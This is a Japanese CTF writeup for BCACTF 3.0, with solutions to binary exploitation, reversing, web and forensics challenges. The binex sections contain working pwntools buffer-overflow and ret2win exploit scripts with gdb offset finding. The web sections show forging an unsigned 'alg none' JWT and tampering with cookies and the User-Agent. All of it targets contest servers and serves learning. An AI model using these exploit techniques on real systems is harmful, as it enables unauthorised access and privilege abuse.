BCACTF 3.0 Writeup

この大会は2022/6/4 9:00(JST)~2022/6/7 9:00(JST)に開催されました。
今回もチームで参戦。結果は3850点で559チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc 25)

Discordに入り、#announcementsチャネルのトピックを見ると、フラグが書いてあった。

bcactf{0bL1g4T0Ry_d15C0rD_ch4Ll_5jGsnoJn}

Intro 2 Pwn (binex 50)

マイナスの個数でハムスターを購入し、手持ちを増やし、フラグを購入する。

$ nc bin.bcactf.com 49181
Hi, welcome to Pwning 101.
Your balance is $10. Please select an item:
1. Buy a hamster ($1)
2. Buy the flag ($100)
(1 or 2)> 1
Amount? -90
Done, you now have -90 hamsters
Hi, welcome to Pwning 101.
Your balance is $100. Please select an item:
1. Buy a hamster ($1)
2. Buy the flag ($100)
(1 or 2)> 2

Well... You've made it to the land of Pwn
Here's your flag: bcactf{theysay_aflagisworth100hamsters_8e7389bc}
bcactf{theysay_aflagisworth100hamsters_8e7389bc}

BOF Shop (binex 75)

$ file bof-shop 
bof-shop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ef30bde17fa484e585f124d65974ac9d3bea6bf2, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file bof-shop 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   bof-shop

BOFでbalanceが100になるようにする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('bin.bcactf.com', 49174)
else:
    p = process('./bof-shop')

balance = 100

payload = b'A' * 116
payload += p64(balance)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
for _ in range(4):
    data = p.recvline().rstrip().decode()
    print(data)

実行結果は以下の通り。

[+] Opening connection to bin.bcactf.com on port 49174: Done
Hello there, welcome to the BOF Shop!
What's your name?
> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd\x00\x00\x00\x00\x00\x00\x00'
Your balance: 100 coins

Wow. Here, take the flag in exchange for your 100 coins.
bcactf{buFF3r_0v3rflow_M4D3_3asy_71f7e2}
[*] Closed connection to bin.bcactf.com port 49174
bcactf{buFF3r_0v3rflow_M4D3_3asy_71f7e2}

Jump Rope (binex 125)

$ file jumprope 
jumprope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0143c656abd1b9927410b85b0e2adb9f414768a9, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file jumprope 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   jumprope

BOFでa関数をコールする。

$ gdb -q ./jumprope
Reading symbols from ./jumprope...(no debugging symbols found)...done.
gdb-peda$ pattc 600
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/jumprope 
Here at BCA, fitness is one of our biggest priorities!
Today's workout is going to be jumproping. Enjoy!

Better start jumping!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs
Woo, that was quite the workout wasn't it!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x2b ('+')
RBX: 0x0 
RCX: 0x7ffff7af2104 (<__GI___libc_write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7ffff7dce7e3 --> 0xdcf8c0000000000a 
RDI: 0x1 
RBP: 0x4e73413873416973 ('siAs8AsN')
RSP: 0x7fffffffdde8 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
RIP: 0x401259 (<jumprope+61>:	ret)
R8 : 0x2a ('*')
R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0)
R10: 0x3 
R11: 0x246 
R12: 0x4010d0 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401252 <jumprope+54>:	call   0x401080 <puts@plt>
   0x401257 <jumprope+59>:	nop
   0x401258 <jumprope+60>:	leave  
=> 0x401259 <jumprope+61>:	ret    
   0x40125a <main>:	endbr64 
   0x40125e <main+4>:	push   rbp
   0x40125f <main+5>:	mov    rbp,rsp
   0x401262 <main+8>:	
    mov    rax,QWORD PTR [rip+0x2df7]        # 0x404060 <stdout@@GLIBC_2.2.5>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdde8 ("AsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0008| 0x7fffffffddf0 ("OAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0016| 0x7fffffffddf8 ("slAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0024| 0x7fffffffde00 ("AsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0032| 0x7fffffffde08 ("SAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0040| 0x7fffffffde10 ("sqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0048| 0x7fffffffde18 ("AsVAstAsWAsuAsXAsvAsYAswAsZAsxAs")
0056| 0x7fffffffde20 ("WAsuAsXAsvAsYAswAsZAsxAs")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401259 in jumprope ()
gdb-peda$ patto AsjAs9As
AsjAs9AsO found at offset: 520

$ ROPgadget --binary jumprope | grep ": ret"
0x000000000040101a : ret
0x00000000004012b2 : retf 0xfffd
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('bin.bcactf.com', 49177)
else:
    p = process('./jumprope')

elf = ELF('./jumprope')

a_addr = elf.symbols['a']
ret_addr = 0x40101a

payload = b'A' * 520
payload += p64(ret_addr)
payload += p64(a_addr)

data = p.recvuntil(b'jumping!\n').rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
for i in range(6):
    data = p.recvline().rstrip().decode()
    print(data)

実行結果は以下の通り。

[+] Opening connection to bin.bcactf.com on port 49177: Done
[*] '/mnt/hgfs/Shared/jumprope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Here at BCA, fitness is one of our biggest priorities!
Today's workout is going to be jumproping. Enjoy!

Better start jumping!
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00'
Woo, that was quite the workout wasn't it!
bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg}
Here at BCA, fitness is one of our biggest priorities!
Today's workout is going to be jumproping. Enjoy!

Better start jumping!
[*] Closed connection to bin.bcactf.com port 49177
bcactf{buff3r_0v3rfl0w_f4nct10n_j4mps_NfEgj4hg}

Password Manager (rev 50)

HASHEDPWDを2桁ずつ区切り、対応するkeyを結合すればフラグになる。

#!/usr/bin/env python3
HASHEDPWD = '111210122915474114123027144625104141324527134638392719373948'
key = {
    'a':10,
    'b':11,
    'c':12,
    'd':13,
    'e':14,
    'f':15,
    'g':16,
    'h':17,
    'i':18,
    'j':19,
    'k':20,
    'l':21,
    'm':22,
    'n':23,
    'o':24,
    'p':25,
    'q':26,
    'r':27,
    's':28,
    't':29,
    'u':30,
    'v':31,
    'w':32,
    'x':33,
    'y':34,
    'z':35,
    '0':36,
    '1':37,
    '2':38,
    '3':39,
    '4':40,
    '5':41,
    '6':42,
    '7':43,
    '8':44,
    '0':45,
    '_':46,
    '{':47,
    '}':48
}

flag = ''
for i in range(0, len(HASHEDPWD), 2):
    code = int(HASHEDPWD[i:i+2])
    for k, v in key.items():
        if v == code:
            flag += k
            break
print(flag)
bcactf{5ecure_pa55w0rd_23rj13}

Ghost Game (rev 75)

サーバの処理概要は以下の通り。

・random.seed(123049)
・wins = 0
・以下繰り返し
 ・usr_choice: 入力
  ・usr_choiceが1の場合
   ・comp_choice: -10000以上10000以下のランダム整数
   ・comp_choice: comp_choiceを10で割った余り
   ・door_choice: 入力
   ・door_choice == comp_choiceであればwinsが+1される
  ・usr_choiceが2の場合、終了
 ・winsが10以上になったら、フラグが表示される。

seedがわかっているので、ランダム値を割り出しながら、答えていく。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

DOORS = 10
random.seed(123049)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('rev.bcactf.com', 49157))

for i in range(10):
    data = recvuntil(s, b'Quit\n').rstrip()
    print(data)
    print('1')
    s.sendall(b'1\n')

    comp_choice = random.randint(-10000, 10000)
    door_choice = comp_choice % DOORS
    data = recvuntil(s, b'?\n').rstrip()
    print(data)
    print(door_choice)
    s.sendall(str(door_choice).encode() + b'\n')
    data = recvuntil(s, b'Phew.\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to Ghost Game! Win 10 times in a row for your reward.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
4

You chose door 4...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
2

You chose door 2...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
5

You chose door 5...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
7

You chose door 7...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
7

You chose door 7...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
5

You chose door 5...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
9

You chose door 9...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
0

You chose door 0...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
4

You chose door 4...
You chose the right door and survived! Phew.

1. Play
2. Quit
1

You are presented with 10 doors, 9 are haunted and 1 will allow you to pass.
Which will you choose?
0

You chose door 0...
You chose the right door and survived! Phew.
You must have insane luck! Here is your treasure:
bcactf{SE3DS_r_SP0O00OKY_7ICI3C}
bcactf{SE3DS_r_SP0O00OKY_7ICI3C}

Glassed Over (rev 75)

ピクセルで、以下の色を設定している。

・R:変更なし
・G:-68
・B:-129
・A:0~12のランダム値

RGBのみの設定で、Gは+68、Bは+129にして画像を元に戻す。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('modifiedflag.png').convert('RGBA')
w, h = img.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r, g, b, a = img.getpixel((x, y))
        output_img.putpixel((x, y), (r, g + 68, b + 129))

output_img.save('flag.png')


元の画像にフラグが書いてあった。

bcactf{b!gG3r_!mg_29354758}

Bit Shuffling (rev 100)

スクリプトの処理概要は以下の通り。

・order = [ 0, 1, 1, 0, 0, 0, 1, 0 ]
・deck: flagの2進数文字列のビット配列
・deckを一定の規則でシャッフル
・deckの2進数を文字列化して出力

逆順に戻していけばフラグになる。

#!/usr/bin/env python3
with open('shuffled', 'rb') as f:
    enc = f.read()

deck = bin(int.from_bytes(enc, byteorder='big'))[2:]
while True:
    if len(deck) % 8 == 0:
        break
    deck = '0' + deck

order = [ 0, 1, 1, 0, 0, 0, 1, 0 ]

for i in order[::-1]:
    predeck = [-1] * len(deck)
    for j in range(len(deck) // 2):
        if i == 0:
            predeck[j] = deck[j * 2]
            predeck[j + len(deck) // 2] = deck[j * 2+ 1]
        else:
            predeck[j + len(deck) // 2] = deck[j * 2]
            predeck[j] = deck[j * 2+ 1]
    deck = predeck

flag = int(''.join(deck), 2).to_bytes(len(deck) // 8, byteorder='big').decode()
print(flag)
bcactf{D3R1FFLED_C8G3A2P47}

real deal html (webex 50)

HTMLソースを見たら、コメントにフラグが書いてあった。

bcactf{tH4TZ_D4_R34l_D3Al_cb8949}

Agent Rocket (webex 75)

HTMLソースを見ると、以下のコメント2つがあることがわかる。

<!-- The username should be "admin" -->
<!-- The password should be "password" -->

admin / password でログインする。ログインしたページのHTMLソースを見ると、以下のコメントがある。

<!-- The name of the device is "BCACTF Rocket Control Panel" in case you forgot. -->

UserAgentに"BCACTF Rocket Control Panel"を指定して、ログインしてみる。

$ curl http://web.bcactf.com:49197/ -d 'username=admin&password=password' -A "BCACTF Rocket Control Panel"
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link rel="stylesheet" href="global.css" />
    <title>Agent Rocket</title>
  </head>
  <body>
    <div class="container">
      <h1>Welcome back Admin!</h2>
        <p>Here is your flag: bcactf{u53r_4g3Nt5_5rE_c0OL_1023}.<br>You should be able to launch the rocket with this.</p>
      <!-- The name of the device is "BCACTF Rocket Control Panel" in case you forgot. -->
    </div>
  </body>
</html>
bcactf{u53r_4g3Nt5_5rE_c0OL_1023}

Three Step Trivia (webex 100)

問題に答えていけば良さそう。
1問目の答えは7.75だがWebUIでは整数でしか答えられない。curlコマンドで答えていく。

$ curl http://web.bcactf.com:49207/ -d 'answer=7.75'
Found. Redirecting to /7_75

$ curl http://web.bcactf.com:49207/7_75
<html lang="en">

<head>
  <meta charset="UTF-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link rel="stylesheet" href="../style.css" />
  <title>Three Step Trivia</title>
</head>

<body>
  <div id="imageGallery">
    <img src="https://goodstock.photos/wp-content/uploads/2018/07/Old-Fancy-Marble-Stairs.jpg">
    <img src="https://goodstock.photos/wp-content/uploads/2017/10/Stairway-Going-Down.jpg">
    <img src="https://www.ghoofie.com/images/2011/06/Clasic-Stairs-Design-Ideas.jpg">
    <img src="https://1.bp.blogspot.com/-p2nLDo_m9Uo/Tiulws30G3I/AAAAAAAAASg/d6CJQn2Bif8/s1600/Louvre+Spiral+Staircase.jpg">
    <img src="https://cdn.decoratorist.com/wp-content/uploads/diy-basement-remodel-stairs-ideas-small-407070.jpg">
  </div>
  <h2> I've had to visit many different URLs to find information about the longest
    staircase in the world, and if I were to walk up it, I will feel like I'm in an entirely different location. How
    many steps are there in this never-ending flight of steps? </h2>
  <h3 style="color:green">Step 2/3</h3>
</body>

</html>

2問目の答えは11674。

$ curl http://web.bcactf.com:49207/11674
<html lang="en">

<head>
  <meta charset="UTF-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link rel="stylesheet" href="../style.css" />
  <title>Three Step Trivia</title>
</head>

<body>
  <div id="imageGallery">
    <img src="https://goodstock.photos/wp-content/uploads/2018/07/Old-Fancy-Marble-Stairs.jpg">
    <img src="https://goodstock.photos/wp-content/uploads/2017/10/Stairway-Going-Down.jpg">
    <img src="https://www.ghoofie.com/images/2011/06/Clasic-Stairs-Design-Ideas.jpg">
    <img src="https://1.bp.blogspot.com/-p2nLDo_m9Uo/Tiulws30G3I/AAAAAAAAASg/d6CJQn2Bif8/s1600/Louvre+Spiral+Staircase.jpg">
    <img src="https://cdn.decoratorist.com/wp-content/uploads/diy-basement-remodel-stairs-ideas-small-407070.jpg">
  </div>
  <h2> Glass staircases are great, since they look like they are hidden. A famous one that
    I like is the 16th Avenue Tiles Steps. How many steps are in this mosaic masterpiece? </h2>
  <form action="/11674" method="post" onkeydown="return event.key != 'Enter';">
    <input type="number" name="answer" />
    <button type="submit" class="btn" style="visibility: hidden;">Submit</button>
  </form>
  <h3 style="color:green">Step 3/3</h3>
</body>

</html>

3問目の答えは163。

$ curl http://web.bcactf.com:49207/11674 -d 'answer=163'
<html lang="en">

<head>
  <meta charset="UTF-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link rel="stylesheet" href="../style.css" />
  <title>Three Step Trivia</title>
</head>

<body>
  <div id="imageGallery">
    <img src="https://goodstock.photos/wp-content/uploads/2018/07/Old-Fancy-Marble-Stairs.jpg">
    <img src="https://goodstock.photos/wp-content/uploads/2017/10/Stairway-Going-Down.jpg">
    <img src="https://www.ghoofie.com/images/2011/06/Clasic-Stairs-Design-Ideas.jpg">
    <img src="https://1.bp.blogspot.com/-p2nLDo_m9Uo/Tiulws30G3I/AAAAAAAAASg/d6CJQn2Bif8/s1600/Louvre+Spiral+Staircase.jpg">
    <img src="https://cdn.decoratorist.com/wp-content/uploads/diy-basement-remodel-stairs-ideas-small-407070.jpg">
  </div>
  <h2>It appears that you are a staircase expert!</h2>
  <h2>Take your flag: <code>bcactf{sT41r_c4A3_m45T3R_5jfUn9Z}</code></h2>
</body>

</html>
bcactf{sT41r_c4A3_m45T3R_5jfUn9Z}

Cookies (webex 125)

Adminメニューを選択すると、ログイン画面になるので、HTMLソースを見る。さらにリンクされているjs/adminLog.jsを見てみる。

const unameElem = document.getElementById("uname");
const pwdElem = document.getElementById("pwd");

document.addEventListener('keyup', (e)=>{
    switch (e.key) {
        case "Enter":
            handleInput();
            break;
    }
});

function handleInput() {
    let uname=unameElem.value;
    if (uname != "admin") {
        alert("You're not admin");
        return;
    }

    let pwd = pwdElem.value;
    let encodedPwd = fancyEncode(pwd);

    setCookie("pwd", encodedPwd, 365);

    window.location.replace("adminEditor.html");

}

//dont worry about the intricacies of the setCookie and getCookie functions
//just understand what they do and how to use them 
function setCookie(name, value, days) {
    const d = new Date();
    d.setTime(d.getTime() + (days*24*60*60*1000));
    let expires = "expires="+ d.toUTCString();
    document.cookie = name + "=" + value + ";" + expires + ";path=/;";
}
function getCookie(cookiename) {
    let name = cookiename + "=";
    let decodedCookie = decodeURIComponent(document.cookie);
    let ca = decodedCookie.split(';');
    for(let i = 0; i <ca.length; i++) {
      let c = ca[i];
      while (c.charAt(0) == ' ') {
        c = c.substring(1);
      }
      if (c.indexOf(name) == 0) {
        return c.substring(name.length, c.length);
      }
    }
    return "";
}

function fancyEncode(str) {
    let newString = "";
    for (i=0;i<=str.length-1;i++) {
        newString += str.charCodeAt(i) + "e";
    }
    return newString;
}

ユーザ名は"admin"である必要があるが、パスワードに制約はなさそう。Web画面上ユーザ名はGuestで固定になっているがブラウザのデベロッパーツールで"admin"にして、適当なパスワードでログインする。
真っ白な画面に遷移するので、HTMLソースを見る。さらにリンクされているjs/editor.jsを見てみる。

if (getCookie("pwd") == "98e99e97e99e116e102e123e117e36e101e114e115e95e115e51e51e95e99e48e48e107e33e101e115e95e55e111e111e95e56e54e51e111e52e116e53e125e") {
    window.location.replace("flag.html");
}

パスワード入力した文字列で、各文字ごとにASCIIコード+"e"の形式で結合され、クッキーに設定されるので、以下の文字列からパスワードを復元する。

98e99e97e99e116e102e123e117e36e101e114e115e95e115e51e51e95e99e48e48e107e33e101e115e95e55e111e111e95e56e54e51e111e52e116e53e125e
bcactf{u$ers_s33_c00k!es_7oo_863o4t5}

Jason's Web Tarot (webex 150)

[View Card]でhttp://web.bcactf.com:49201/card.htmlに遷移する。[Pull Card]を何回か押すと、クッキーのtokenに以下の値が設定されていた。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc1N1YnNjcmliZXIiOmZhbHNlLCJpYXQiOjE2NTQzMDA1NzR9.
$ echo eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0= | base64 -d
{"alg":"none","typ":"JWT"}

$ echo eyJpc1N1YnNjcmliZXIiOmZhbHNlLCJpYXQiOjE2NTQzMDA1NzR9 | base64 -d
{"isSubscriber":false,"iat":1654300574}

"isSubscriber"をtrueにしてエンコードする。

$ echo -n '{"isSubscriber":true,"iat":1654300574}' | base64
eyJpc1N1YnNjcmliZXIiOnRydWUsImlhdCI6MTY1NDMwMDU3NH0=

以下の値をクッキーのtokenに設定してリロードすると、フラグが表示された。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc1N1YnNjcmliZXIiOnRydWUsImlhdCI6MTY1NDMwMDU3NH0.
bcactf{n0_s3cr3t5????!!!?!_38893}

Broken Image (foren 50)

バイナリエディタで添付のファイルを見ると、PNGの形式になっている。拡張子をpngに変更し、適当なビューアで見ると、フラグが書いてあった。

bcactf{br0k3n_1m4g3_4nd_1m4g3_4nd_1m4g3}

My New Friend (foren 75)

$ zsteg zimage.png 
b1,r,lsb,xy         .. text: "63z_^gvrqFY@"
b1,rgb,lsb,xy       .. text: "bcactf{h15_n4m3_15_g3rb3rt_4798jU}"
b2,r,msb,xy         .. text: "UUUUUUUT"
b2,g,msb,xy         .. text: "UU@UUUUUUUUU"
b2,rgb,msb,xy       .. text: "DUUUUUUA"
b2,abgr,msb,xy      .. text: "GGGGGGGGWWW"
b4,r,lsb,xy         .. text: "UE3EVEWfvgwfgg"
b4,r,msb,xy         .. text: "D\"bf\"B$\"D$f"
b4,g,lsb,xy         .. text: "\"434DDDDDDfh"
b4,g,msb,xy         .. text: ",\"\"\"\"\"\"f"
b4,b,lsb,xy         .. text: "EE\"TGTFvgvggww"
b4,b,msb,xy         .. text: "f&\"\"\"\"\"fffff"
b4,rgb,lsb,xy       .. text: "GEu7#rGUdYF"
b4,bgr,lsb,xy       .. text: "GEu'2sWDeIW"
b4,bgr,msb,xy       .. text: "F`D!R&e6a"
b4,rgba,lsb,xy      .. text: "4/WOX_GOW_7/7/G_VOYOi"
b4,abgr,msb,xy      .. text: "OFOF/&/!/!oaoeoeO!O!O!"
||,
>|
<b>bcactf{h15_n4m3_15_g3rb3rt_4798jU}</b>
|<

* Superglue (foren 125)
>|sh|
$ binwalk chall

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
441           0x1B9           PNG image, 27 x 5, 8-bit/color RGB, non-interlaced
980           0x3D4           GIF image data, version "89a", 27 x 5

$ foremost chall
Processing: chall
|*|

jpg、png、gifを抽出することができた。それぞれ小さい画像だが、フラグの破片を見ることができる。バイナリエディタで見ると、gifの後ろにwebpがくっついているので、切り取り画像を見てみる。

jpg: bcactf{
png: ch3_2_c
gif: o_to_d1
webp: 55olv3}



bcactf{ch3_2_co_to_d155olv3}

.bcapng (foren 150)

_区切りで幅、高さ、データの構成になっていると推測できる。データは0, 1だが、そのまま指定の幅と高さになるよう改行を入れる。

#!/usr/bin/env python3
with open('chall.bcapng', 'r') as f:
    data = f.read()[1:-1]

data = data.split('_')
width = int(data[0])
height = int(data[1])
data = data[2]
assert width * height == len(data)

for i in range(0, len(data), width):
    print(data[i:i+width])

実行結果は以下の通り。

11111111111111111111111111111111111111111111111111111111111111111
10011111111111111111111111111111111111111111111111111111111111111
11011111111111111111111111111111111111111111111111111111111111111
11011111111111111111111111111111111111111111111111111111111111111
11000001110000011100001111000001111111111111111111111111111111111
11011110101111101111110110111110111111111111111111111111111111111
11011110101111111100000110111111111111111111111111111111111111111
11011110101111111011110110111111111111111111111111111111111111111
11011110101111101011110110111110111111111111111111111111111111111
10000001110000011100001011000001111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111100111111100110000001111000111000000011111111111111111
11101111111011111111011111011110110111011011011011101111111111111
11101111111011111111011111011110111111011111011111101111111111111
11000011110000111111011111011110111111011111011111000011111111111
11101111111011111111011111000001111100111111011111101111111111111
11101111111011111100111111011110111111011111011111101111111111111
11101111111011111111011111011110111111011111011111101111111111111
11101101111011111111011111011110110111011111011111101101111111111
11110011110000111111011110000001111000111110001111110011111111111
11111111111111111111011111111111111111111111111111111111111111111
11111111111111111111100111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11100011111111111111111111111111111111111111111111111111111111111
11011101111111111111111111101111111111111111111111111111111111111
11111101111111111111111111101111111111111111111111111111111111111
11111101100010011111111111000011111111111111111111111111111111111
11110011111001101111111111101111111111111111111111111111111111111
11111101111011111111111111101111111111111111111111111111111111111
11111101111011111111111111101111111111111111111111111111111111111
11011101111011111111111111101101111111111111111111111111111111111
11100011100000111111111111110011111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111110000000011111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
10001000111110111001100011111111111111111111111111100001111111111
11011101111100111101110111111111111111111111111111011110111111111
11011101111100111100110111111111111111111111111110111111111111111
11011101111010111100110111111111100000011001001110111111111111111
11000001111010111101010111111111110111101100110110111111111111111
11011101110110111101100111111111110111101101110110111000111111111
11011101110000011101100111111111110111101101110110111110111111111
11011101111110111101110111111111110111101101110111011110111111111
10001000111100011000110111111111110000011000100011100001111111111
11111111111111111111111111111111110111111111111111111111111111111
11111111111111111111111100000000100011111111111111111111000000001
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11000001111100111111101111111111111000011111111111111111111111111
11011111111011111111111111111111110111101111111111111111111111111
11011111110111111111111111111111101111111111111111111111111111111
11011111110111111100001110001000101111111111111111111111111111111
11000011110000111111101111011101101111111111111111111111111111111
